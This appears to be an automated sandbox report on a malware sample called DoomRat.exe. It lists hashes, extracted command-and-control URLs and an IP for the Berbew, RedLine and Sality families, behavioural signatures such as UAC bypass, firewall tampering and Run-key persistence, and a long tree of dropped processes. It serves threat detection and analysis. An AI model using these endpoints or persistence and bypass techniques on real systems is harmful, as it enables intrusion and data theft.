Analysis
-
max time kernel
59s -
max time network
154s -
platform
windows10-2004_x64 -
resource
win10v2004-20240910-en -
resource tags
-
submitted
20-09-2024 13:23
General
-
Target
DoomRat.exe
-
Size
12.1MB
-
MD5
b6f21ecc31778ba2362958d1e5091759
-
SHA1
613dbf4e682fe14b8617908113fc5c7ba05de16a
-
SHA256
94bd1fa65b9ee3fe4be830326ebcd918609ee260797391d1af8aa4ac470cce3f
-
SHA512
d5d842d520fa1a5a768b62e3d4945f7aa49aa3079c78843cc70eb2e87515dc228cd8bda2ecbe70d1cdb8a94630687cefe587ee6dfac93685cd9e17473040ac4d
-
SSDEEP
393216:HGV2CSQhZ2YsHFUK2Jn1+TtIiFQS2NXNsI8VbTToP:KYQZ2YwUlJn1QtIm28IKzo
Malware Config
Extracted
berbew
http://crutop.nu/index.php
http://devx.nm.ru/index.php
http://ros-neftbank.ru/index.php
http://master-x.com/index.php
http://www.redline.ru/index.php
http://cvv.ru/index.php
http://hackers.lv/index.php
http://fethard.biz/index.php
http://crutop.ru/index.php
http://kaspersky.ru/index.php
http://color-bank.ru/index.php
http://adult-empire.com/index.php
http://virus-list.com/index.php
http://trojan.ru/index.php
http://xware.cjb.net/index.htm
http://konfiskat.org/index.htm
http://parex-bank.ru/index.htm
http://fethard.biz/index.htm
http://ldark.nm.ru/index.htm
http://gaz-prom.ru/index.htm
Extracted
redline
LiveTraffic
95.179.250.45:26212
Extracted
sality
http://89.119.67.154/testo5/
http://kukutrustnet777.info/home.gif
http://kukutrustnet888.info/home.gif
http://kukutrustnet987.info/home.gif
http://www.klkjwre9fqwieluoi.info/
http://kukutrustnet777888.info/
Signatures
-
Adds autorun key to be loaded by Explorer.exe on startup 2 TTPs 64 IoCs
-
Berbew
Berbew is a backdoor written in C++.
-
Darkcomet
DarkComet is a remote access trojan (RAT) developed by Jean-Pierre Lesueur.
-
Detects MyDoom family 4 IoCs
-
Gh0st RAT payload 2 IoCs
-
Gh0strat
Gh0st RAT is a remote access tool (RAT) with its source code public and it has been used by multiple Chinese groups.
-
ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
-
Modifies WinLogon for persistence 2 TTPs 4 IoCs
-
Modifies firewall policy service 3 TTPs 21 IoCs
-
Modifies visibility of file extensions in Explorer 2 TTPs 3 IoCs
-
Modifies visiblity of hidden/system files in Explorer 2 TTPs 4 IoCs
-
MyDoom
MyDoom is a Worm that is written in C++.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine payload 1 IoCs
-
Sality
Sality is backdoor written in C++, first discovered in 2003.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
-
UAC bypass 3 TTPs 5 IoCs
-
Windows security bypass 2 TTPs 18 IoCs
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
ModiLoader Second Stage 1 IoCs
-
Adds policy Run key to start application 2 TTPs 6 IoCs
-
Boot or Logon Autostart Execution: Active Setup 2 TTPs 2 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Powershell Invoke Web Request.
-
Disables Task Manager via registry modification
-
Modifies Windows Firewall 2 TTPs 1 IoCs
-
Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
-
Executes dropped EXE 64 IoCs
-
Impair Defenses: Safe Mode Boot 1 TTPs 6 IoCs
-
Loads dropped DLL 26 IoCs
-
UPX packed file 18 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Windows security modification 2 TTPs 21 IoCs
-
Adds Run key to start application 2 TTPs 55 IoCs
-
Blocklisted process makes network request 13 IoCs
-
Checks whether UAC is enabled 1 TTPs 3 IoCs
-
Enumerates connected drives 3 TTPs 35 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Modifies WinLogon 2 TTPs 1 IoCs
-
Program crash 22 IoCs
-
Drops file in System32 directory 64 IoCs
-
Suspicious use of SetThreadContext 5 IoCs
-
Drops file in Program Files directory 14 IoCs
-
Drops file in Windows directory 64 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
-
System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Checks processor information in registry 2 TTPs 15 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Enumerates system info in registry 2 TTPs 10 IoCs
-
Kills process with taskkill 2 IoCs
-
Modifies Internet Explorer settings 1 TTPs 1 IoCs
-
Modifies Internet Explorer start page 1 TTPs 2 IoCs
-
Modifies registry class 64 IoCs
-
Modifies registry key 1 TTPs 9 IoCs
-
Modifies system certificate store 2 TTPs 2 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: LoadsDriver 4 IoCs
-
Suspicious behavior: MapViewOfSection 64 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 4 IoCs
-
Suspicious use of SendNotifyMessage 3 IoCs
-
Suspicious use of SetWindowsHookEx 40 IoCs
-
Suspicious use of UnmapMainImage 2 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
System policy modification 1 TTPs 5 IoCs
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵
-
C:\Windows\system32\fontdrvhost.exe"fontdrvhost.exe"2⤵
-
-
C:\Windows\system32\dwm.exe"dwm.exe"2⤵
-
-
C:\Windows\system32\dwm.exe"dwm.exe"2⤵
-
-
C:\Windows\system32\dwm.exe"dwm.exe"2⤵
-
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p1⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding2⤵
-
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}2⤵
-
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca2⤵
-
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding2⤵
-
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca2⤵
-
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding2⤵
-
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}2⤵
-
-
C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding2⤵
-
-
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\InputApp\TextInputHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\InputApp\TextInputHost.exe" -ServerName:InputApp.AppX9jnwykgrccxc8by3hsrsh07r423xzvav.mca2⤵
-
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding2⤵
-
-
C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:CortanaUI.AppX3bn25b6f886wmg6twh46972vprk9tnbf.mca2⤵
-
-
C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca2⤵
-
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding2⤵
-
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding2⤵
-
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}2⤵
-
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding2⤵
-
-
C:\Windows\system32\fontdrvhost.exe"fontdrvhost.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
-
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵
-
C:\Windows\system32\sihost.exesihost.exe2⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
-
C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
-
C:\Users\Admin\AppData\Local\Temp\DoomRat.exe"C:\Users\Admin\AppData\Local\Temp\DoomRat.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Users\Admin\AppData\Local\Temp\DoomRat.exe"C:\Users\Admin\AppData\Local\Temp\DoomRat.exe"3⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls4⤵
-
-
C:\Users\Admin\Downloads\240920-qdstssybnjb8316d13f4047be963430f6d24c6a18db4eb50f13a0296c5f209026a1e238debN.exeC:\Users\Admin\Downloads\240920-qdstssybnjb8316d13f4047be963430f6d24c6a18db4eb50f13a0296c5f209026a1e238debN.exe4⤵
- Modifies firewall policy service
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\Cohkokgj.exeC:\Windows\system32\Cohkokgj.exe5⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\Cnkkjh32.exeC:\Windows\system32\Cnkkjh32.exe6⤵
- Executes dropped EXE
- Drops file in System32 directory
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\Cdecgbfa.exeC:\Windows\system32\Cdecgbfa.exe7⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\Dkokcl32.exeC:\Windows\system32\Dkokcl32.exe8⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\Dokgdkeh.exeC:\Windows\system32\Dokgdkeh.exe9⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\Dbicpfdk.exeC:\Windows\system32\Dbicpfdk.exe10⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\Ddgplado.exeC:\Windows\system32\Ddgplado.exe11⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\Dmohno32.exeC:\Windows\system32\Dmohno32.exe12⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\Domdjj32.exeC:\Windows\system32\Domdjj32.exe13⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\Dbkqfe32.exeC:\Windows\system32\Dbkqfe32.exe14⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\Ddjmba32.exeC:\Windows\system32\Ddjmba32.exe15⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\Dheibpje.exeC:\Windows\system32\Dheibpje.exe16⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\Dooaoj32.exeC:\Windows\system32\Dooaoj32.exe17⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\Dbnmke32.exeC:\Windows\system32\Dbnmke32.exe18⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\Digehphc.exeC:\Windows\system32\Digehphc.exe19⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\Dkfadkgf.exeC:\Windows\system32\Dkfadkgf.exe20⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\Ddnfmqng.exeC:\Windows\system32\Ddnfmqng.exe21⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\SysWOW64\Dfnbgc32.exeC:\Windows\system32\Dfnbgc32.exe22⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Executes dropped EXE
-
C:\Windows\SysWOW64\Efpomccg.exeC:\Windows\system32\Efpomccg.exe23⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Executes dropped EXE
-
C:\Windows\SysWOW64\Eoideh32.exeC:\Windows\system32\Eoideh32.exe24⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\Eokqkh32.exeC:\Windows\system32\Eokqkh32.exe25⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Executes dropped EXE
-
C:\Windows\SysWOW64\Eblimcdf.exeC:\Windows\system32\Eblimcdf.exe26⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Executes dropped EXE
- Drops file in System32 directory
- Modifies registry class
-
C:\Windows\SysWOW64\Fmcjpl32.exeC:\Windows\system32\Fmcjpl32.exe27⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\Flkdfh32.exeC:\Windows\system32\Flkdfh32.exe28⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\Fnnjmbpm.exeC:\Windows\system32\Fnnjmbpm.exe29⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\Gldglf32.exeC:\Windows\system32\Gldglf32.exe30⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\SysWOW64\Gflhoo32.exeC:\Windows\system32\Gflhoo32.exe31⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\Gpgind32.exeC:\Windows\system32\Gpgind32.exe32⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\Hfcnpn32.exeC:\Windows\system32\Hfcnpn32.exe33⤵
- Executes dropped EXE
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Hmbphg32.exeC:\Windows\system32\Hmbphg32.exe34⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
C:\Windows\SysWOW64\Iohejo32.exeC:\Windows\system32\Iohejo32.exe35⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Iedjmioj.exeC:\Windows\system32\Iedjmioj.exe36⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Imnocf32.exeC:\Windows\system32\Imnocf32.exe37⤵
-
C:\Windows\SysWOW64\Ilcldb32.exeC:\Windows\system32\Ilcldb32.exe38⤵
-
C:\Windows\SysWOW64\Jgkmgk32.exeC:\Windows\system32\Jgkmgk32.exe39⤵
- Modifies registry class
-
C:\Windows\SysWOW64\Jljbeali.exeC:\Windows\system32\Jljbeali.exe40⤵
-
C:\Windows\SysWOW64\Jcfggkac.exeC:\Windows\system32\Jcfggkac.exe41⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Kpmdfonj.exeC:\Windows\system32\Kpmdfonj.exe42⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Kncaec32.exeC:\Windows\system32\Kncaec32.exe43⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Kofkbk32.exeC:\Windows\system32\Kofkbk32.exe44⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Lqhdbm32.exeC:\Windows\system32\Lqhdbm32.exe45⤵
-
C:\Windows\SysWOW64\Lnoaaaad.exeC:\Windows\system32\Lnoaaaad.exe46⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
C:\Windows\SysWOW64\Modgdicm.exeC:\Windows\system32\Modgdicm.exe47⤵
- Modifies registry class
-
C:\Windows\SysWOW64\Mqfpckhm.exeC:\Windows\system32\Mqfpckhm.exe48⤵
- Modifies registry class
-
C:\Windows\SysWOW64\Mqkiok32.exeC:\Windows\system32\Mqkiok32.exe49⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Modifies registry class
-
C:\Windows\SysWOW64\Nmdgikhi.exeC:\Windows\system32\Nmdgikhi.exe50⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Modifies registry class
-
C:\Windows\SysWOW64\Phajna32.exeC:\Windows\system32\Phajna32.exe51⤵
-
C:\Windows\SysWOW64\Panhbfep.exeC:\Windows\system32\Panhbfep.exe52⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
C:\Windows\SysWOW64\Aphnnafb.exeC:\Windows\system32\Aphnnafb.exe53⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\Downloads\240920-qe4bxsxgqheda88f7ae36ded31fec80c7aa05b8f4e_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-qe4bxsxgqheda88f7ae36ded31fec80c7aa05b8f4e_JaffaCakes118.exe4⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Downloads\240920-qc213sybjp1bf037c1accbaa974cd7652e900bdb53fd1dc7f052082e3562dc109c978c2694N.exeC:\Users\Admin\Downloads\240920-qc213sybjp1bf037c1accbaa974cd7652e900bdb53fd1dc7f052082e3562dc109c978c2694N.exe4⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\Dfiildio.exeC:\Windows\system32\Dfiildio.exe5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\Dmcain32.exeC:\Windows\system32\Dmcain32.exe6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\Dndnpf32.exeC:\Windows\system32\Dndnpf32.exe7⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\SysWOW64\Dkhnjk32.exeC:\Windows\system32\Dkhnjk32.exe8⤵
- Executes dropped EXE
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Eiloco32.exeC:\Windows\system32\Eiloco32.exe9⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\Eecphp32.exeC:\Windows\system32\Eecphp32.exe10⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\Enkdaepb.exeC:\Windows\system32\Enkdaepb.exe11⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\Ebimgcfi.exeC:\Windows\system32\Ebimgcfi.exe12⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies registry class
-
C:\Windows\SysWOW64\Ekdnei32.exeC:\Windows\system32\Ekdnei32.exe13⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Fbpchb32.exeC:\Windows\system32\Fbpchb32.exe14⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\SysWOW64\Fbelcblk.exeC:\Windows\system32\Fbelcblk.exe15⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\SysWOW64\Gfeaopqo.exeC:\Windows\system32\Gfeaopqo.exe16⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\SysWOW64\Gncchb32.exeC:\Windows\system32\Gncchb32.exe17⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\SysWOW64\Geohklaa.exeC:\Windows\system32\Geohklaa.exe18⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\Gojiiafp.exeC:\Windows\system32\Gojiiafp.exe19⤵
- Executes dropped EXE
- Drops file in System32 directory
- Modifies registry class
-
C:\Windows\SysWOW64\Hefnkkkj.exeC:\Windows\system32\Hefnkkkj.exe20⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\Hlepcdoa.exeC:\Windows\system32\Hlepcdoa.exe21⤵
-
C:\Windows\SysWOW64\Ibcaknbi.exeC:\Windows\system32\Ibcaknbi.exe22⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Iipfmggc.exeC:\Windows\system32\Iipfmggc.exe23⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Ilqoobdd.exeC:\Windows\system32\Ilqoobdd.exe24⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
C:\Windows\SysWOW64\Joahqn32.exeC:\Windows\system32\Joahqn32.exe25⤵
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Jenmcggo.exeC:\Windows\system32\Jenmcggo.exe26⤵
-
C:\Windows\SysWOW64\Jpenfp32.exeC:\Windows\system32\Jpenfp32.exe27⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
C:\Windows\SysWOW64\Jgbchj32.exeC:\Windows\system32\Jgbchj32.exe28⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Modifies registry class
-
C:\Windows\SysWOW64\Kckqbj32.exeC:\Windows\system32\Kckqbj32.exe29⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Klfaapbl.exeC:\Windows\system32\Klfaapbl.exe30⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Kcbfcigf.exeC:\Windows\system32\Kcbfcigf.exe31⤵
- Modifies registry class
-
C:\Windows\SysWOW64\Lokdnjkg.exeC:\Windows\system32\Lokdnjkg.exe32⤵
-
C:\Windows\SysWOW64\Lmaamn32.exeC:\Windows\system32\Lmaamn32.exe33⤵
-
C:\Windows\SysWOW64\Mcpcdg32.exeC:\Windows\system32\Mcpcdg32.exe34⤵
- Modifies registry class
-
C:\Windows\SysWOW64\Mcelpggq.exeC:\Windows\system32\Mcelpggq.exe35⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Mcifkf32.exeC:\Windows\system32\Mcifkf32.exe36⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
C:\Windows\SysWOW64\Nqpcjj32.exeC:\Windows\system32\Nqpcjj32.exe37⤵
-
C:\Windows\SysWOW64\Phajna32.exeC:\Windows\system32\Phajna32.exe38⤵
- Modifies registry class
-
C:\Windows\SysWOW64\Pnplfj32.exeC:\Windows\system32\Pnplfj32.exe39⤵
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\Downloads\240920-p3672sxerqeda10913cdc60c352847611bd3db5ee6_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-p3672sxerqeda10913cdc60c352847611bd3db5ee6_JaffaCakes118.exe4⤵
- Modifies firewall policy service
- UAC bypass
- Windows security bypass
- Executes dropped EXE
- Windows security modification
- Adds Run key to start application
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- System policy modification
-
C:\Windows\SysWOW64\dqwatkcv.exeC:\Windows\system32\dqwatkcv.exe5⤵
- Adds Run key to start application
-
C:\Windows\SysWOW64\uvtsfubf.exeC:\Windows\system32\uvtsfubf.exe6⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\izidzguv.exeC:\Windows\system32\izidzguv.exe7⤵
- Adds Run key to start application
-
C:\Windows\SysWOW64\nngkmlg.exeC:\Windows\system32\nngkmlg.exe8⤵
- Adds Run key to start application
-
C:\Windows\SysWOW64\ucyhp.exeC:\Windows\system32\ucyhp.exe9⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\edjzi.exeC:\Windows\system32\edjzi.exe10⤵
- Adds Run key to start application
-
C:\Windows\SysWOW64\oaoht.exeC:\Windows\system32\oaoht.exe11⤵
- Adds Run key to start application
-
C:\Windows\SysWOW64\cnpxlft.exeC:\Windows\system32\cnpxlft.exe12⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\rdgpo.exeC:\Windows\system32\rdgpo.exe13⤵
- Adds Run key to start application
-
C:\Windows\SysWOW64\xckuetd.exeC:\Windows\system32\xckuetd.exe14⤵
- Adds Run key to start application
-
C:\Windows\SysWOW64\jfpxnb.exeC:\Windows\system32\jfpxnb.exe15⤵
- Adds Run key to start application
-
